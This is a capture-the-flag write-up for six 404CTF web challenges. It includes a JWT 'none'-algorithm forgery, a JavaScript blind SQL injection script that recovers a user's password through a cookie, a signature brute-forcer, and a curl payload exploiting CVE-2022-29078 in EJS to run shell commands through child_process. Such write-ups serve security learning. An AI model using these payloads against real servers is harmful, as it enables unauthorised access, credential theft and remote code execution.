404CTF Writeup - Web category
Le loup et le renard
As this is the first challenge, we expect an easy solution. We visit the website and look at the sources:
This brings us to the 2nd part of the challenge.
Following the page title Part 2: Cookie
, we look at the cookies sent by the server:
Change the value from isAdmin
to true
and refresh the web page. This redirects you to the 3rd part of the challenge.
Looking at the sources:
We can see that if we send this form, we’ll be taken to the 4th page, which contains the flag (as the page’s url indicates). The only problem is that you’re quickly redirected to the 3rd page again. This is usually a script that redirects (as opposed to a server redirect).
There are many ways of bypassing the execution of this script. I initially tried running a curl
to the page and it worked!
As the flag indicates, the page may have been protected by an authentication mechanism, in which case the command will be more complicated.
L’Académie du détail
We visit the website and do some exploring. Nothing interesting after looking at the sources so we turn out attention to the authentication page. This page let you login as any user with any password, except for the admin
account which is already valuable information.
When authenticating to a web server, the natural question to ask is: What is the authentication method ? The Most common method is using cookies, so we check them out:
And we’re not wrong my friend, we have on our hands what looks (and is) like a JWT. When can check this out by using websites like jwt.io:
This token is encoding my username and an expiration date. Given the hint we have received earlier about the admin
account, the natural course of action would be to forge an JWT containing {"username": "admin"}
. In general this is not possible because JWTs are cryptographically signed, but maybe the web developer skipped the security section of when implementing JWT into his server. Let’s try the oldest trick in the book, in header when change the signature algorithm to “none”, effectively disabling the validy check of the token.
I have found this website than can do this (but you can write your python script if you’d like).
Swapping the token in the token with this new value and reloading the page should show us that we’re logged in as admin
. Let’s now visit the /members
protected route.
And that’s it, it worked !
La Vie Française
We visit the website and do some exploring: To sum it up:
We can create an account and log in into it
we are then redirected to
/account
which is an SSR can somehow relates to the account type.
Some restrictions on the form inputs:
- Only alphanumeric characters are allowed
- the
admin
account is deactivated by the administrator
I first thought about using an SQL injection attack to retrieve some information about the database, and eventually log into a privileged account. However, restrictions rule out this technique because SQL payloads need quotes or comments. Before dropping this idea and moving to something else, I had to checkout the cookies (always check your authentication method) and the server sets it to uuid=e212...
. If we try to use an SQL injection attack the uuid
field of the cookie, it works !
const testUsername = async (username) => {
const response = await fetch(
"https://la-vie-francaise.challenges.404ctf.fr/account",
{
redirect: "manual",
headers: {
Cookie: `uuid=' OR username LIKE '${username}%`,
},
}
);
// otherwise a redirection code 3xx
return response.status === 200;
};
This method (and others similar) allow us to construct a valid username
character by character (because of the % in the end) and since we are restricted to alphanumeric, it won’t take long.
For the username, we try different requests and we see that the user madeleineforestier
account have a link to an /admin
protected route. It means this is the account we want to hack.
Here is an implementation for testing all the next characters in the passwords and outputting the next one:
const characters = "abcdefghijklmnopqrstuvwxyz0123456789".split("");
const testPassword = async (password) => {
const response = await fetch(
"https://la-vie-francaise.challenges.404ctf.fr/account",
{
redirect: "manual",
headers: {
Cookie: `uuid=' OR username = 'madeleineforestier' AND password LIKE '${password}%`,
},
}
);
return response.status === 200;
};
const flood = (prefix) =>
Promise.all(characters.map((c) => testPassword(prefix + c)));
const crack = async (prefix) => {
let safetyCount = 0;
while (safetyCount < 100) {
console.log("Now at length", prefix.length + safetyCount++, "=>", prefix);
const charIsValid = await flood(prefix);
console.log(charIsValid);
const nextIndex = charIsValid.indexOf(true);
const finished = nextIndex === -1;
if (finished) break;
prefix += characters[nextIndex];
}
return prefix;
};
crack("").then(console.log);
//madeleineforestier:fo2dvkgshz2ppj
We try those credentials and access the /admin
route for the flag.
Fuite en 1791
We visit the challenge website. After walking around, we find that the flag url is given to url, but it is protected by an expiry date and a signature.
It looks like we have to forge a new signature for an expiry date of our liking. In general this is not possible because the link (or any part of) is cryptographically signed. But maybe the developer invented was proud enough to roll his own signature algorithm ? If this is the case, then we might have a chance in reverse-engineering it or even cracking it.
Let’s try out different values of the expiry
and signature
and we notice that some values do work (return “Expired Link” instead of “Invalid signature”).
For example: expiry=-5625891070&signature=wawF6dC4Hz9g5NyCc3j1KCDcfztFE/sv
.
The signature looks like a base64 encoding for the expiry value + maybe some salt or something similar.
I ran out this experiment a bit furthur, my initial goal was to get the right signature for expiry=-0000000000
and these are the results I gathered:
// notation: x|0 = floor(x)
// -1th of signature depend on -1th of expiry, in base64
// signature[-1] = 47 - expiry[-1]
// -2th of signature depend on -2th of expiry, in base64
// signature[-2] = 48 + 4*expiry[-2] - 32*(expiry[-2] / 4 | 0)
// -3-4th of signature depend on -3th of result, in base64
// signature[-3:-4] = 63 - 16*expiry[-3] + 64*(4 + (expiry[-3] / 4 | 0))
// -5th of signature depend on -4th of result
// signature[-5] = 4+(expiry[-4] % 4) - 8*(expiry[-4]/4 | 0)*(1 if (expiry[-4]/4|0) is odd else 0)
...
This was a tedious work, perhaps because of a wrong choice of basis/encoding, but it reveals a relevant pattern: The signature depends on 1 or 2 characters of the expiry and the dependency goes in like 1 1 2 1 1 2 ...
.
It time to set an easier goal: change the expiry from expiry=-5625891070
to expiry=+5625891070
. The target charcater is at the -11th
location, we expect it to change the -14th
character of the signature, we can just brute force (easier because I haven’t worked out a nice formula).
Here is a script that does just that:
const base = "https://ddfc.challenges.404ctf.fr/ddfc";
const queries = {
expiry: "-5625891076",
signature: "wawF6dC4Hz9g5NyCc3j1KCDcfztFE/sp",
};
const base64 = [
"A",
"B",
"C",
"D",
"E",
"F",
"G",
"H",
"I",
"J",
"K",
"L",
"M",
"N",
"O",
"P",
"Q",
"R",
"S",
"T",
"U",
"V",
"W",
"X",
"Y",
"Z",
"a",
"b",
"c",
"d",
"e",
"f",
"g",
"h",
"i",
"j",
"k",
"l",
"m",
"n",
"o",
"p",
"q",
"r",
"s",
"t",
"u",
"v",
"w",
"x",
"y",
"z",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"+",
"/",
];
const base64encode = (number) => {
output = "";
while (number) {
output = base64[number % 64] + output;
number = (number / 64) | 0;
}
return output;
};
const buildUrl = (base, queries) =>
base +
"?" +
Object.entries(queries)
.map(([n, v]) => `${n}=${v}`)
.join("&");
const checkUrl = async (base, entries) => {
const url = buildUrl(base, entries);
const response = await fetch(url);
const content = await response.text();
return content.indexOf("Invalid") < 0;
};
const replaceIndex = (str, i, c) =>
str.slice(0, i) + c + (i == -1 ? "" : str.slice(i + 1));
const findSignature = async () => {
// launch 64 requests at once
const expiry = replaceIndex(queries.expiry, -11, "+");
const results = await Promise.all(
base64.map((c) =>
checkUrl(base, {
expiry,
signature: replaceIndex(queries.signature, -14, c),
})
)
);
const index = results.indexOf(true);
console.log(
"url",
expiry,
replaceIndex(queries.signature, -14, base64[index])
);
return base64[index];
};
const main = async () => {
console.log(await findSignature());
};
main();
// url +5625891076 wawF6dC4Hz9g5NyCc371KCDcfztFE/sp
// 7
If the try that url, we get the human rights declaration and in the bottom of the page, the flag:
L’Épistolaire moderne
In this challenge, we encounter a Single Page Application (SPA) that initially allows us to log in. However, the login mechanism seems to be well-protected against SQL injections, and the admin
user is deactivated.
Upon successful login, we enter a chatroom where we interact with a princess. Sending random messages triggers various responses, some hinting that obtaining the flag won’t be as simple as it seems.
Exploring the chat’s features, I noticed that it can preview the titles of links. While attempting to leverage this capability for Server-Side Request Forgery (SSRF) attacks, I hit a dead end.
In the end, I concluded that there is nothing I can get out from this chat and turned my attention to the source code / cookies.
Here are my observations:
- There is a route to get the flag:
api/bgfmwqgccmk
- This route is protected by a JWT token (for example, without my JWT authentication, I get a 403 response)
- I tried common attacks against the token but none worked
- There are routes for getting the images used by the website, these route are also protected by a JWT token
- The token used to access these route is different from the JWT token assigned to my session
So I tried the obvious thing, try to get the flag using these “privileged” tokens and it worked !
Here is the flag: 404CTF{L34k_d3_C00k13s_s3cr3ts}
Chanson d’India
Chanson d’India was a captivating challenge that felt incredibly realistic.
Although I can’t provide any in-progress details since I’m writing this post after the challenge has ended, fortunately, the organizers of 404CTF have shared a helpful GIF demonstrating the challenge
Where can find their writeup here.
Initial approach
Initially, I attempted to find a template injection vulnerability by exploring the input that generates an audio
element, but my efforts were unsuccessful.
I decided to switch gears and focus on scraping the website for potential clues.
Finding clues
A valuable page to inspect on any website is /robots.txt
, which discloses which URLs the search engine crawlers can access.
User-agent: *
Allow: /
Allow: /scene
Disallow: /CHANGELOG.md
Surprisingly, I discovered the presence of a /CHANGELOG.md
route Although it’s usually not publicly available, except for open-source projects, it seemed suspicious for this website. I hoped to find a hint here.
Reading the CHANGELOG.md, I gathered the following information:
- the website has been online since 31/06/2020
- the website was vulnerable to an SSTI until 24/08/2020
- the website uses an Express backend (NodeJS) updated on 01/05/2023
- the website uses a package named EJS updated on 15/02/2021
- the URL parser is express-validator installed on 13/11/2020
Finding the vulnerability
Next, I explored the Snyk vulnerability database for potential exploits, taking into consideration the update dates of the components.
My search bore fruit as I found CVE-2022-29078, affecting ejs versions below 3.1.7, which enables Remote Code Execution (RCE).
Snyk also demonstrates how to exploit it and in this case, it looks like this:
curl -X POST "https://chanson-d-inde.challenges.404ctf.fr/scene" -d "url=www.google.com&delimiter=x&debug=true&settings[view options][outputFunctionName]=_;MYCODE;_"
The url
parameter to pass the audio URL I wanted to play but the other parameters directly influence ejs
.
Exploiting the vulnerability
The vulnerability allowed us to run shell commands using NodeJS’s child_process
module.
Although there was a more subtle method involving the __append
function to concatenate the input to the template, I wasn’t aware of it during the CTF and I opted for a less stealthy approach using error throwing.
curl -X POST "https://chanson-d-inde.challenges.404ctf.fr/scene" -d "url=www.google.com&delimiter=x&debug=true&settings[view options][outputFunctionName]=_;process.mainModule.require('child_process').execSync('python3 -c \"import sys; raise BaseException(sys.argv[1])\" \$(grep 404CTF flag/flag.txt)');_"
Which returns the flag: 404CTF{v01la_Ind14_S0ng_s3_tErm1n3}
.
PS: I found this route by running ls
commands using the same template.